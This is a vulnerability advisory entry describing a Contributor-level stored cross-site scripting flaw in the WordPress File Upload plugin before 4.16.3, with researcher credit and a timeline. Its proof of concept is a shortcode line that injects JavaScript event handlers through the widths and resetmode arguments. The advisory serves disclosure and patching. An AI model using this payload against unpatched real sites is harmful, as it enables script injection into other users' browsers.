WordPress Plugin Vulnerabilities
WordPress File Upload < 4.16.3 - Contributor+ Stored Cross-Site Scripting via Shortcode
Description
The plugin does not escape some of its shortcode argument, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks
Proof of Concept
[wordpress_file_upload widths='title:1;animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/XSS-widths/)' resetmode='"+alert(/XSS-restmode/)&&"']
Affects Plugins
Fixed in 4.16.3
Fixed in 4.16.3 References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-14 (about 2 years ago)
Added
2022-02-14 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)
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